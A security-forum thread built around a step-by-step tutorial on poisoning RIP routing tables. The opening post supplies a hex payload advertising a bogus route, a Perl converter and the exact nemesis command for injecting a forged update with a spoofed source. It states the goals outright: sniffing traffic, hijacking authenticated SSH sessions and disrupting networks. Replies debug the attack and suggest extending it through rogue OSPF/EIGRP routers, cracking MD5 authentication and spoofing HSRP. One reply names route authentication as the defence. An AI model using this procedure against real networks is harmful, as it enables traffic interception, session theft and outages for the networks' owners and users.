• RSS
  • Twitter
  • FaceBook

Security Forums

Log in

FAQ | Usergroups | Profile | Register | RSS | Posting Guidelines | Recent Posts

Tutorial: crafting routing protocols using nemesis

Users browsing this topic:0 Security Fans, 0 Stealth Security Fans
Registered Security Fans: None
Goto page 1, 2  Next
Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> Networking

View previous topic :: View next topic  
Author Message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Fri May 06, 2005 10:17 pm    Post subject: Tutorial: crafting routing protocols using nemesis Reply with quote

Crafting Routing protocols using Nemesis

Credits also to B4rtm4n for help with rip injection and perl coding.

What's the payoff ?

This tutorial shows how to use nemesis to craft a UDP packet and custom payload then deliver it to a router running RIP.
This enables us to perform the following attacks:

1/ This allows us to propogate a bogus route into the routing environment . We can then attack from an IP block that has not yet been allocated or a subnet that is in use by another company but has not yet been allocated. (IP spoofing)

2/ We can place ourselves in the routing path of all network traffic. This allows the sniffing of traffic that normally you’d have to be on the same broadcast domain as the victim to sniff.

3/ It also can enable us to TCP session hijack our victim and take over an SSH session of the victim after they have authenticated with the server.

4/ We can disrupt all network traffic by telling all traffic to go to an unreachable destination, or add loops into the routing topology.

The basis of this tutorial is to show you how to craft a RIP packet which will convey a RIP update to a node running RIP. You will also notice it would be straightforward to use this tutorial as a basis for crafting other protocols such as DNS, OSPF, IGRP, and EIGRP.


Choose your Weapons

Here we are going to be using the following tools.

* Nemesis - Nemesis is a portable IP stack that we will use to inject our payload. Nemesis will write *anything* into the packet so we need to know what we are doing and study the packet we are going to craft's structure and what router's will expect the packet to contain.
Otherwise we will just create malformed packets, which will be dropped by the receiving device. You'd do well to read the relevant RFC's and TCP/IP illustrated before attempting to craft your own.
Available here

* Ethereal - I've said enough already. We need it to make sure our packets are well formed when we send them, also it's very useful to analyse other packets we may want to craft and use as a basis for a nemesis payload. Also if we send a request to another router for it's routing table we need it to sniff the reply. Enumeration of the targete environment is key to this attack. here

*B4rtm4n's perl script - You won't get too far with it. This converts our hex code into binary.Our payload file that will be used by Nemesis must be in binary or we'll simply write rubbish into our packet. This is our magic ingredient.

What is RIP?

RIP is an interior gateway protocol that is mature, stable, and is widely supported by many manufacturers. It is also easy to configure. Therefore, it is suitable for use in stub networks, and small AS's (autonomous systems) that do not have many redundant paths. Having too many redundant paths would warrant a more sophisticated routing protocol. RIP is broadcast based, and uses UDP as it’s transport protocol, and by default will listen on port 520. There are two versions of RIP; RIP v1 (RFC 1388) and RIP v2 (RFC 1723).

RIP is also a distance vector routing protocol. What that means is it can be prone to routing loops. Which are controlled via hold down timers, and split horizon processing.

RIP sends routing table updates at regular intervals (every 30 seconds), and when there is a change to the routing topology. It also marks routes, as invalid when it doesn’t receive regular updates for them.

When a router receives an update it in turn updates it's own routing table. The RIP enabled router then increases the route metric by one, and adds the sender as the next hop destination.

RIP maintains only the routes with the lowest metrics to a destination. A metric of greater than 15 is considered infinite and therefore unreachable. RIP security mechanisms consist of configuring the router to only accept routes from neighbouring routers.(easily spoofed as the transport is UDP). Lastly there is also plaintext password authentication.


RIP Packet structure

In order to get the ascii payload correct for the binary file we need to understand the RIP version 2 structure to get meaningful results. This is taken directly from RFC 1723 with a few of my own notes for clarity and brevity.

The first four octets of a RIP message contain the RIP header. The remainder of the message is composed of 1 - 25 route entries (20 octets each). The new RIP message format is:

0 1 2 3 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Command (1) | Version (1) | unused |
+---------------+---------------+-------------------------------+
| Address Family Identifier (2) | Route Tag (2) |
+-------------------------------+-------------------------------+
| IP Address (4) |
+---------------------------------------------------------------+
| Subnet Mask (4) |
+---------------------------------------------------------------+
| Next Hop (4) |
+---------------------------------------------------------------+
| Metric (4) |
+---------------------------------------------------------------+

The Command, Address Family Identifier (AFI), IP Address, and Metric all have the meanings defined in RFC 1058. The Version field will specify version number 2 for RIP messages which use authentication or carry information in any of the newly defined fields. The contents of the unused field (two octets) shall be ignored.

Command field lets the router know what it has to do with the packet.
Valid values are 1 or 2.
1 is a rip request , this tells the router to send me all the routes it currently knows. (useful for evaluating what routes you might need to change)
2 is a RIP update. This tells the router what routes to add to it's routing table

Version field - says whether or not it's rip version 1 or 2.

Unused - as it says we don't use this field and set it to 0

Address family identifier - only IP is supported therefore the value must be 2 (IP)

Route tag - The RIP route may be propogated further by other routers using other protocols such as, OSPF. If we could learn this from the network we are attacking our route may be propogated further by other routers. Otherwise set it to 0.

IP Address - IP address of the router propogating the route. As the transport for this is UDP you can pretend to have an IP other than your true IP as no session is setup between yourself and the victim as TCP would. This means you can pretend to be a trusted neighbouring router.

Subnet mask for the route you wish to propogate.

Next hop - The IP of the router you want the traffic to go to (yourself if you intend to sniff or session hijack the traffic, you could also create a routing loop or blackhole route is you wished though)

Metric - The cost of the route. 1 means directly connected , 16 is unreachable, over 16 and the packet will be dropped outright. By adjusting the metric we can add new , seemingly better, routes of our choosing or kill routes learned from other routers.

A captured RIP v2 packet

Here's packet that was captured using Ethereal, we aren’t interested in anything other than the green section as that's the RIP update structure as defined by the RFC. Even though Ethereal shows this as hex it's actually on the wire in binary, This means that when we craft our payload we must write the contents of the packet in hex then convert it to binary using a script. We only need to generate the section highlighted in green as Nemesis will create the rest of our headers for us.

0000 ff ff ff ff ff ff 00 00 b4 90 aa 59 08 00 45 00 ...........Y..E.
0010 00 34 03 52 00 00 80 11 b4 e4 c0 a8 00 33 c0 a8 .4.R.........3..
0020 00 ff 02 08 02 08 00 20 6e 14 02 02 00 00 00 02 ....... n.......
0030 00 00 0a 00 00 00 ff 00 00 00 00 00 00 00 00 00 ................
0040 00 02 ..
..

Preparing our payload

What we are doing here is preparing a text file, we will then convert this from hex to binary and inject it using nemesis. This is the payload Nemesis will carry to our target.
Note that what is being prepared here is the section highlighted in green from the previous section. Also the packet being prepared is sending a different route other than the one illustrated above, but they both start 02 02 for reasons shown later.
Here's the ascii which we will convert;

020200000002000000e000000ffffff00c0a8007f00000002
02 this is our command an update a 02 (remember this is hex, to convert from bin to hex get your calc out type in the decimal and click the hex button)
02 RIP version 2
0000 two unused bytes
0002 AFI is IP (it's the only valid one)
0000 this is our route tag it needs to be 0 unless we know it will be reused by another protcol
0e000000 this is the hex for the route to propogate
ffffff00 subnet mask in hex for our route
c0a8007f router advertising the route
000000002 metric for the route

we then copy the following into a text file.
Quote:

02020000000200000e000000ffffff00c0a8007f00000002

note no spaces and 00 = 1 byte therefore my ip is c0 (192) a8 (168) 00 (0) 7f (127)
After we've put the string of ascii into our text file we then convert it using the hex2bin perl script coded by b4rtm4n.

Quote:

#!/usr/bin/perl -w

### Coded by B4rtm4n (c) 06/05/2005
### HEX to binary
###
###

### Convert datagram to raw ASCII

### Get input from file

#$usage="perl hex2bin.pl hex.file > bin.file\n"


$input = "";

while (<>)
{
$input=$input.$_;
#print "$input";
}

#$input = chomp ($input);

$x=length($input); #get the size of the input
$ascii=""; #ensure the string is initally null

for ($y=0; $y < $x; $y++ )
{
$z=substr($input, $y, 2);
$dec= hex ($z);
$ascii= chr ($dec);
print "$ascii";
$y++;
}

We then create our binary that will be written to the wire like so.
Quote:

MattA@W34p0nX /home/MattA ->perl hex2bin.pl inject > ascii.bin


We then inject the payload with nemesis
Quote:

W34p0nX# nemesis udp -P /ascii.bin -S 192.168.0.127 -D 192.168.0.1 -x 520 -y 520 -t0

UDP Packet Injected

The syntax there was
nemesis udp - use UDP as a transport
-P payload file
-S where it's coming from which can be anywhere no TCP handshake to negotiate Wink
-D who I want to get the route
-x source port
-y destination port
-t 0 IP type of service
That's it the receiving router will now have a newly learned route in it's routing table. You might want to knock up a short shell script to loop the nemesis command or the route will drop out 30 seconds later, and that's not long enough for a good sniff Wink you also might want to poison two routers to get all the traffic (there and back) going through you.
Congrats, you own the entire network.

Where to now then ?

That get you started with a simple routing protocol, it’s a little bit harder to use this same technique to route poison OSPF and EIGRP, but the results are exactly the same. You might even try some of the malformed packet exploits that some cisco routers are vulnerable to.


Last edited by MattA on Thu Aug 31, 2006 10:22 am; edited 1 time in total
Back to top
View user's profile Send private message
SpErm
Just Arrived
Just Arrived


Joined: 23 Aug 2005
Posts: 0


Offline

PostPosted: Tue Aug 23, 2005 5:24 pm    Post subject: Reply with quote

hi
i would like to use ur tut at my site so pls authorize me Rolling Eyes

i´ll link here or your site as source
Back to top
View user's profile Send private message Visit poster's website
PaulieBoy
Just Arrived
Just Arrived


Joined: 09 Oct 2005
Posts: 0


Offline

PostPosted: Sun Oct 09, 2005 12:30 am    Post subject: Reply with quote

I only got here a few second's ago , and already i have found some great stuff , this included Smile
Thanks dude , that's a very nice tut Smile
Back to top
View user's profile Send private message
ElToro
Just Arrived
Just Arrived


Joined: 21 Jun 2004
Posts: 0


Offline

PostPosted: Sun Oct 09, 2005 5:03 am    Post subject: Reply with quote

Nice write up. This really highlights the dangers of not securing the network itself. One note, Cisco does support MD5 authentication even though it's not part of the RFC for RIPv2. OSPF and EIGRP both support MD5 as well. Using authentication is the way to stop this attack.

I am curious how this technique could be applied to more sophisticated routing protocols like EIGRP or OSPF assuming they were not using authentication. The first issue that comes to mind is the fact that both use their own transport protocol, not TCP or UDP. Second issue is how to manage the connection-oriented way these protocols work. Each uses acknowledgments and sequence numbers so address spoofing would be extremely difficult.

Assuming you have a tool that can generate the transport layer information and respond to packets sent from other routers, I don't see why you couldn't use this technique. You should be able to sniff the multicast Hello packets to get the information you need to create a valid Hello for that AS. Once you have established adjacency with the other routers, you should be able to craft LSAs with the bogus routes.

I think the easiest way to implement this attack on EIGRP or OSPF is to sniff for the Hello packets and configure a rogue router to join the AS. The router essentially becomes the tool. You would configure the router to advertise the bogus routes and it would take care of the communications protocols.
Back to top
View user's profile Send private message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Sun Oct 09, 2005 8:25 pm    Post subject: Reply with quote

ElToro wrote:
One note, Cisco does support MD5 authentication even though it's not part of the RFC for RIPv2. OSPF and EIGRP both support MD5 as well. Using authentication is the way to stop this attack.

You might be ale to break the md5 hash though
ElToro wrote:

I am curious how this technique could be applied to more sophisticated routing protocols like EIGRP or OSPF assuming they were not using authentication. The first issue that comes to mind is the fact that both use their own transport protocol, not TCP or UDP. Second issue is how to manage the connection-oriented way these protocols work. Each uses acknowledgments and sequence numbers so address spoofing would be extremely difficult.

Yes it's a nightmare spoofing OSPF the protocol can be crafted with nemesis but you can't form an association which is necessary before you can exchange routes.... team jinao wrote a few methods of effecting OSPF by ageing out routes, the RFC for OSPF is massive and complex. I think some of the association is formed via TCP which again with sequence numbers makes it difficult.
ElToro wrote:

I think the easiest way to implement this attack on EIGRP or OSPF is to sniff for the Hello packets and configure a rogue router to join the AS. The router essentially becomes the tool. You would configure the router to advertise the bogus routes and it would take care of the communications protocols.


I agree. I have to say though it's easier to hack the routers than craft protocols but you might get some interesting results causing routers to fail over using bogus HSRP messages, perhaps the acl's will be weaker on the failover router.....
phenolit have some interesting materials on this
Back to top
View user's profile Send private message
PaulieBoy
Just Arrived
Just Arrived


Joined: 09 Oct 2005
Posts: 0


Offline

PostPosted: Thu Oct 20, 2005 1:12 am    Post subject: Reply with quote

OK , i've been just using the basics of this tut so far , i just got to the point where i inject the packet with "ascii.bin" and send it out.
I ain't sending it at a router , i am using your tut "exactly" as written, including the IP address.


Now here is the really mad bit ! Bear in mind i am using the IP's in your tut..

I send the packet's out ( 4 in total ) , and using ethereal ( on the same box, a lapper using a prism chip card ) to capture the packet's i get some really odd result's !

I sent out four packet's, ethereal report's that the source and destination IP's as :
Packet 1:
S=228.189.xxx.xx D= 216.140.xxx.xx, S port =25639 D port =33435
Packet2:
S=47.31.xxx.xx D= 217.89.xxx.4, S port = 47301 D port = 33435
Packet3:
S=120.251.xx.xx D= 238.16.xx.xx, S port = 2815 D port =33435
Packet4:
S = 225.19.xxx.xx D= 49.212.xxx.xx, S port = 51203 D port = 33435

I sent out another 4 packet's and got another completly different set of Ip's .

Regardless, even though the source IP address is always different the source MAC address is correctly reported in each packet , also note the destination port is always the same ( 33435 ) .

This has me completly confused !

I can not understand how or where these IP's are being generated ?
Any help on this rather odd problem would be great .
Many thanks for a great tut Smile
Back to top
View user's profile Send private message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Sat Oct 22, 2005 3:25 pm    Post subject: Reply with quote

Ah well this was'nt done using a wireless card, not sure if that would effect it or not.

you are typing in
Quote:

W34p0nX# nemesis udp -P /ascii.bin -S 192.168.0.127 -D 192.168.0.1 -x 520 -y 520 -t0


all the above does is -S is the source address , -D the destination and then x and y are your port numbers, you need the -S and -D as this is your new packet source and dest , try with a wired connection.

All it does is alter the IP information in the packet and stick the payload in which is not part of the IP addressing information.
It seems wierd to me too....

can you post your command and packet capture?
Back to top
View user's profile Send private message
PaulieBoy
Just Arrived
Just Arrived


Joined: 09 Oct 2005
Posts: 0


Offline

PostPosted: Sat Oct 22, 2005 10:29 pm    Post subject: Reply with quote

Thanks for the help Matt, i am typing in exactly as you have indicated.
I tried it with a LAN card, and got the same odd result!
It's generating random source and destination IP's but as noted i have given the S and D IP at the command ?
I am still trying to figure it out , but it's well beyond me Smile


This is the Ethereal capture for one packet :



Code:
No.     Time        Source                Destination           Protocol Info
     45 84.612407   29.77.27.29           180.186.193.112       UDP      Source port: 35649  Destination port: 33435

Frame 45 (554 bytes on wire, 554 bytes captured)
    Arrival Time: Oct 22, 2005 08:19:29.461535000
    Time delta from previous packet: 0.606327000 seconds
    Time since reference or first frame: 84.612407000 seconds
    Frame Number: 45
    Packet Length: 554 bytes
    Capture Length: 554 bytes
    Protocols in frame: eth:ip:udp:data
Ethernet II, Src: 00:60:97:41:7f:73, Dst: 00:0f:b5:51:49:be
    Destination: 00:0f:b5:51:49:bc (Netgear_51:49:bc)
    Source: 00:60:97:41:7f:72 (3com_41:7f:72)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 29.77.27.29 (29.77.27.29), Dst Addr: 180.186.193.112 (180.186.193.112)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 540
    Identification: 0x7f00 (32512)
    Flags: 0x00
    Fragment offset: 0
    Time to live: 255
    Protocol: UDP (0x11)
    Header checksum: 0x8c3b (correct)
    Source: 29.77.27.29 (29.77.27.29)
    Destination: 180.186.193.112 (180.186.193.112)
User Datagram Protocol, Src Port: 35649 (35649), Dst Port: 33435 (33435)
Data (512 bytes)

0000  02 00 00 00 0c 00 04 01 2e 00 00 00 02 00 00 00   ................
0010  0c 00 04 02 2e 2e 00 00 03 00 00 00 10 00 04 05   ................
0020  2e 73 6e 61 70 00 00 00 40 20 00 00 0c 00 04 03   .snap...@ ......
0030  64 65 76 00 c0 60 00 00 0c 00 04 03 74 6d 70 00   dev..`......tmp.
0040  80 40 00 00 0c 00 04 03 75 73 72 00 41 20 00 00   .@......usr.A ..
0050  0c 00 04 03 76 61 72 00 81 40 00 00 10 00 04 05   ....var..@......
0060  73 74 61 6e 64 00 9f c1 c1 60 00 00 0c 00 04 03   stand....`......
0070  65 74 63 00 42 20 00 00 10 00 04 05 63 64 72 6f   etc.B ......cdro
0080  6d 00 8f c1 04 00 00 00 10 00 04 04 64 69 73 74   m...........dist
0090  00 f3 8f c1 43 20 00 00 0c 00 04 03 62 69 6e 00   ....C ......bin.
00a0  ca 60 00 00 10 00 04 04 62 6f 6f 74 00 76 9f c1   .`......boot.v..
00b0  67 20 00 00 0c 00 04 03 6c 69 62 00 a4 40 00 00   g ......lib..@..
00c0  10 00 04 07 6c 69 62 65 78 65 63 00 89 20 00 00   ....libexec.. ..
00d0  0c 00 04 03 6d 6e 74 00 a6 40 00 00 10 00 04 04   ....mnt..@......
00e0  70 72 6f 63 00 76 9f c1 8a 20 00 00 10 00 04 06   proc.v... ......
00f0  72 65 73 63 75 65 00 c1 a7 40 00 00 10 00 04 04   rescue...@......
0100  72 6f 6f 74 00 76 9f c1 8e 20 00 00 10 00 04 04   root.v... ......
0110  73 62 69 6e 00 76 9f c1 fd 00 00 00 0c 00 0a 03   sbin.v..........
0120  73 79 73 00 a9 40 00 00 10 00 08 06 2e 63 73 68   sys..@.......csh
0130  72 63 00 c0 ab 40 00 00 14 00 08 08 2e 70 72 6f   rc...@.......pro
0140  66 69 6c 65 00 2b 94 cc fe 00 00 00 14 00 08 09   file.+..........
0150  43 4f 50 59 52 49 47 48 54 00 65 c0 ff 00 00 00   COPYRIGHT.e.....
0160  10 00 0a 06 63 6f 6d 70 61 74 00 c1 01 01 00 00   ....compat......
0170  10 00 08 07 65 6e 74 72 6f 70 79 00 02 01 00 00   ....entropy.....
0180  10 00 0a 04 68 6f 6d 65 00 5d 04 c1 03 01 00 00   ....home.]......
0190  0c 00 08 03 6c 6f 67 00 04 01 00 00 18 00 08 0e   ....log.........
01a0  64 73 74 75 6d 62 6c 65 72 2e 63 6f 72 65 00 01   dstumbler.core..
01b0  05 01 00 00 0c 00 08 02 2d 61 00 c1 06 01 00 00   ........-a......
01c0  14 00 08 0b 64 77 65 70 64 75 6d 70 6c 6f 67 00   ....dwepdumplog.
01d0  07 01 00 00 30 00 08 06 73 75 6e 6c 6f 67 00 c0   ....0...sunlog..
01e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
01f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................


The data content is all wrong also ? There is way to much of it for a start !

Any insight into this would be great , many thanks for your time .
Back to top
View user's profile Send private message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Sat Oct 22, 2005 11:38 pm    Post subject: Reply with quote

No worries about the time, a few people are currently giving me time too (coding a buffer overflow) , this is fair play Wink , pass it on.

Yeah that does'nt look right at all.
There should be only a few bytes of data, the data content is totally wrong, looks like it was done with a wireless card too, I'm saying that as i saw references to dwepcrack.

Try doing it without the payload see what you get if it even looks vaguely correct, nemesis writes exactly what you give it to the wire, even if it's total garbage, it then wraps it's own ip and udp headers onto the payload.

PM me your e-mail addie and I'll send you the payload file i generated.
If you are using the perl script and the hex i provided that should be correct.

the exact command to generate the payload was
Quote:

perl hex2bin.pl inject > ascii.bin


where inject was a text file containing the below (no spaces)
Quote:

02020000000200000e000000ffffff00c0a8007f00000002
Back to top
View user's profile Send private message
PaulieBoy
Just Arrived
Just Arrived


Joined: 09 Oct 2005
Posts: 0


Offline

PostPosted: Sun Oct 23, 2005 1:21 am    Post subject: Reply with quote

Many thanks Matt ,

Here is the result of running nemesis without the payload , else everything was the same as above :

Code:
No.     Time        Source                Destination           Protocol Info
     66 129.179098  192.168.0.127         192.168.0.1           RIP      [Malformed Packet]

Frame 66 (42 bytes on wire, 42 bytes captured)
    Arrival Time: Oct 22, 2005 11:08:54.324227000
    Time delta from previous packet: 1.169777000 seconds
    Time since reference or first frame: 129.179098000 seconds
    Frame Number: 66
    Packet Length: 42 bytes
    Capture Length: 42 bytes
    Protocols in frame: eth:ip:udp:rip
Ethernet II, Src: 00:60:97:41:7f:73, Dst: 00:0f:b5:51:49:be
    Destination: 00:0f:b5:51:49:bc (192.168.0.1)
    Source: 00:60:97:41:7f:73 (192.168.0.4)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.0.127 (192.168.0.127), Dst Addr: 192.168.0.1 (192.168.0.1)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 28
    Identification: 0x6b63 (27491)
    Flags: 0x00
    Fragment offset: 0
    Time to live: 255
    Protocol: UDP (0x11)
    Header checksum: 0xce9c (correct)
    Source: 192.168.0.127 (192.168.0.127)
    Destination: 192.168.0.1 (192.168.0.1)
User Datagram Protocol, Src Port: router (520), Dst Port: router (520)
    Source port: router (520)
    Destination port: router (520)
    Length: 8
    Checksum: 0x79fd (correct)
[Malformed Packet: RIP]


This is more like it, in that the IP's are reported correctly, as is the source and destination port and the data content is what you might expect.

I assume that it's reporting that it's malformed as a result of not attaching the payload, containing the missing info ?
So it's correct to assume we are looking at "operator error" Smile
I obviously am doin something wrong with the payload.

I did create a file called "inject" and give the correct command , so its got to be something within the payload that's causing the problem , i think !
I can't see where else the problem could be at this stage.


EDIT : The problem is user error ! i did a copy and paste of your hex and ran that , guess what ? worked pretty perfect !
So Mr Stupidy Head here did screw up somewhere , sorry about that , efing n00b's Smile
Interesting thing is where did i screw up and how did that result in the random generation of IP -S and -D addie's , this is fun Smile

Thank's for your time, and sorry to waste it !
Cheers.
Back to top
View user's profile Send private message
MattA
Trusted SF Member
Trusted SF Member


Joined: 13 Jun 2003
Posts: 16777193
Location: Eastbourne + London

Offline

PostPosted: Sun Oct 23, 2005 9:01 pm    Post subject: Reply with quote

My time is'nt wasted if you got it working Smile
Back to top
View user's profile Send private message
ganeshkumar
Just Arrived
Just Arrived


Joined: 14 Dec 2006
Posts: 0


Offline

PostPosted: Thu Dec 14, 2006 7:10 am    Post subject: Reply with quote

Hi
while using nemesis 1.4 for windows, when i run the command
W34p0nX# nemesis udp -P /ascii.bin -S 192.168.0.127 -D 192.168.0.1 -x 520 -y 520 -t0

nemesis throws the error "The procedure entry point PacketGetNetInfo could not be located in the dynamic link library packet.dll"
please help what to do. I used default setting with all files in same directory i.e. nemesis.exe and ascii.bin in the same directory.
Back to top
View user's profile Send private message
aks89
Just Arrived
Just Arrived


Joined: 29 Dec 2006
Posts: 0


Offline

PostPosted: Fri Dec 29, 2006 6:23 am    Post subject: Reply with quote

You are using WinPcap 3.1 or higher. Nemesis requires explicit use of WinPcap 3.0. So uninstall WinPcap 3.1 and install WinPcap 3.0.

I am using a PC which has 2 ethernet cards connected to 2 diffrent network. How in Nemesis should I specify on which to inject the packet. Nemesis it seems always injects the packet on the default route.

Admin note
Please don't double post. Use the edit as I just did.
alt.don
Back to top
View user's profile Send private message
themik
Just Arrived
Just Arrived


Joined: 19 Jul 2010
Posts: 0


Offline

PostPosted: Mon Jul 19, 2010 12:05 pm    Post subject: Reply with quote

Very Good Idia Laughing Laughing
Back to top
View user's profile Send private message Visit poster's website
markmcm
Just Arrived
Just Arrived


Joined: 08 Oct 2010
Posts: 0
Location: Dublin

Offline

PostPosted: Fri Oct 08, 2010 9:20 am    Post subject: Reply with quote

Great post having all the information and containing detail information. I really appreciate you fro this tutorial. Thanks to share this valuable information.
Back to top
View user's profile Send private message Visit poster's website
aleabby
Just Arrived
Just Arrived


Joined: 30 Dec 2010
Posts: 0


Offline

PostPosted: Thu Dec 30, 2010 9:44 am    Post subject: Reply with quote

I am very thankful for sharing this note, i was searching about it since long.
Back to top
View user's profile Send private message
Display posts from previous:   

Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> Networking All times are GMT + 2 Hours
Goto page 1, 2  Next
Page 1 of 2


 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

Looking for more Windows Networking info?

Sign up to the WindowsNetworking.com Monthly Newsletter, written by Enterprise Security MVP Deb Shinder, containing news, the hottest tips, Networking links of the month and much more. Subscribe today and don't miss a thing!
View a sample newsletter.

Become a WindowsNetworking.com member!

Discuss your Windows Networking issues with thousands of other Windows Newtorking experts. Click here to join!

Community Area

Log in | Register

Readers' Choice

Which is your preferred data recovery solution?

Follow TechGenix on Twitter